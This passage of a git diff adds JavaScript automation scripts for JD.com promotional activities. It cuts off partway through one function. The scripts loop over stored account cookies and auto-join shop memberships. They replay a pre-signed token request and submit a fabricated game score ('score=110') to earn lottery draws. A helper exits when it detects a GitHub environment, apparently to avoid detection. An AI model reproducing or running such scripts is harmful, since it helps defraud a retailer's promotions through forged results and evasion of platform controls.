$.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case 'fashion/recruit/saveFirst': + if(data.result){ + console.log("获得抽奖次数") + } + break; + case 'fashion/recruit/saveTask': + console.log(data) + break; + case 'fashion/recruit/getInitInfo': + console.log(data) + break; + case 'fashion/recruit/initOpenCard': + $.openInfo = data.data.openInfo + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz2-isv.isvjcloud.com/${function_id}` : `https://lzdz2-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz2-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz2-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz2-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz2-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz2-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mb.js b/backUp/jd_mb.js new file mode 100644 index 0000000..a09a79a --- /dev/null +++ b/backUp/jd_mb.js @@ -0,0 +1,274 @@ +/* + + 6 9,12 * * * jd_mb.js +*/ +const $ = new Env('全民摸冰'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = $.isNode() ? (process.env.Cowexchange ? process.env.Cowexchange : false) : ($.getdata("Cowexchange") ? $.getdata("Cowexchange") : false); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.needhelp = true + $.coolcoins = 0 + $.nickName = ''; + $.Authorization = "Bearer undefined" + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await genToken() + authres = await taskPostUrl("auth", { + "token": $.token, + "source": "01" + }) + $.Authorization = `Bearer ${authres.access_token}` + user = await taskUrl("get_user_info", "") + console.log(`昵称:${user.nickname}\n剩余挑战值:${user.coins}\n清凉值:${user.cool_coins}\n今日已抽奖次数:${user.today_lottery_times}`) + taskList = await taskUrl("task_state", "") + productList = await taskUrl("shop_products", "") + for (var o in taskList) { + switch (o) { + case "sign_in": + console.log("每日签到:") + if (taskList[o] == "1") console.log(" 今日已签到") + else { + console.log(" 去签到") + await taskUrl(o, "") + } + break + case "product_view": //浏览商品 + console.log("浏览商品:") + console.log(` 今日已浏览${taskList[o].length}个商品`) + if (taskList[o].length != 12) { + pList = productList.products.filter(x => taskList[o].indexOf(x.id) == "-1") + for (product of pList) { + console.log(` 去浏览${product.name} `) + await taskUrl("product_view", `?product_id=${product.id}`) + } + } + break + case "shop_view": //关注浏览店铺 + console.log("浏览店铺:") + console.log(` 今日已浏览${taskList[o].length}个商品`) + if (taskList[o].length < 6) { + shopList = productList.shops.filter(x => taskList[o].indexOf(x.id) == "-1") + for (shop of shopList) { + console.log(` 去浏览${shop.name} `) + await taskUrl("shop_view", `?shop_id=${shop.id}`) + } + } + break + case "today_invite_num": //邀请 + console.log("邀请助力:") + console.log(` 已邀请${taskList[o].length}个小伙伴`) + if (taskList[o].length < 5) codeList.push(user.id) + break + case "meetingplace": //浏览会场 + console.log("浏览会场:") + console.log(` 今日已浏览${taskList[o].length}会场`) + if (taskList[o].length < 8) { + meetingList = productList.meetingplace.filter(x => taskList[o].indexOf(x.id) == "-1") + for (meetingplace of meetingList) { + console.log(` 去浏览${meetingplace.name} `) + await taskUrl("meetingplace_view", `?meetingplace_id=${meetingplace.id}`) + } + } + break + default: + break + } + } + user = await taskUrl("get_user_info", "") + console.log("去玩游戏") + for (u = 0; u < Math.floor(user.coins / 3); u++) { + console.log(` 第${u+1}次游戏中`) + //开始游戏 + let stares = await taskUrl("start_game", "") + if (stares.token) { + console.log(" 开始游戏成功") + await $.wait(10000); + await taskUrl("game", `?token=${stares.token}&score=110`) + } + } + console.log("去抽奖") + for (t = 0; t < 5 - user.today_lottery_times; t++) { + let lotteryes = await taskUrl("to_lottery", "") + console.log(lotteryes) + if (lotteryes.gift) console.log(`恭喜你获得 ${lotteryes.gift.prize.name} 类型: ${lotteryes.gift.type.match("coupon") ?"优惠券" : lotteryes.gift.type}`) + else console.log("🐮阿🐮阿,恭喜您获得了空气") + } + for (p = 0; p < codeList.length; p++) { + console.log(`为${codeList[p]}助力中...`) + await taskUrl("invite", `?inviter_id=${codeList[p]}`) + } + } + } + if (message.length != 0 && new Date().getHours() == 11) { + if ($.isNode()) { + // await notify.sendNotify("星系牧场", `${message}\n牧场入口:QQ星儿童牛奶京东自营旗舰店->星系牧场\n\n吹水群:https://t.me/wenmouxx`); + } else { + $.msg($.name, "", '全民摸冰' + message) + } + } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +//genToken +function genToken() { + let config = { + url: 